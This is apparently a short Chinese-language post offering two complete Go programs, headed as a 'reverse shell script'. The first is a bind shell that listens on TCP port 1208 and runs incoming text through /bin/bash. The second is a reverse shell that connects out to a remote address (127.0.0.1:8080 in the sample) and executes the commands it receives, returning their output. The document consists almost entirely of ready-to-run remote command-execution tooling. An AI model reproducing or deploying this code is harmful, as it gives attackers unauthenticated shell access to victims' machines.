golang反弹shell脚本
一、Golang语言
package main import ( "fmt" "net" "strings" "io/ioutil" "log" "os/exec" ) func cmd_connect(c net.Conn) { if c == nil { return } buf := make([]byte, 4096) for { cnt, err := c.Read(buf) if err != nil || cnt == 0 { c.Close() break } inStr := strings.TrimSpace(string(buf[0:cnt])) inputs := strings.Split(inStr, " ") switch inputs[0] { case "quit": c.Close() break default: var cmd_str string for _,value := range inputs { if cmd_str == "" { cmd_str = value }else { cmd_str = cmd_str+" "+value } } cmd := exec.Command("/bin/bash","-c",cmd_str) stdout, err := cmd.StdoutPipe() if err != nil { log.Fatal(err) } defer stdout.Close() if err := cmd.Start(); err != nil { log.Fatal(err) } // 读取输出结果 opBytes, err := ioutil.ReadAll(stdout) if err != nil { log.Fatal(err) } c.Write([]byte(opBytes)) } } } func main() { server, err := net.Listen("tcp", ":1208") if err != nil { fmt.Printf("Fail to start server, %s\n", err) } for { conn, err := server.Accept() if err != nil { break } go cmd_connect(conn) } }
二、反向连接
package main import ( "io" "net" "io/ioutil" "log" "os/exec" ) var ( cmd string line string ) func main() { addr := "127.0.0.1:8080" //远程连接主机名 conn,err := net.Dial("tcp",addr) //拨号操作,用于连接服务端,需要指定协议。 if err != nil { log.Fatal(err) } buf := make([]byte,10240) //定义一个切片的长度是10240。 for { n,err := conn.Read(buf) //接受的命令 if err != nil && err != io.EOF { //io.EOF在网络编程中表示对端把链接关闭了。 log.Fatal(err) } cmd_str := string(buf[:n]) cmd := exec.Command("/bin/bash","-c",cmd_str) //命令执行 stdout, err := cmd.StdoutPipe() if err != nil { log.Fatal(err) } defer stdout.Close() if err := cmd.Start(); err != nil { log.Fatal(err) } opBytes, err := ioutil.ReadAll(stdout) if err != nil { log.Fatal(err) } conn.Write([]byte(opBytes)) //返回执行结果 } }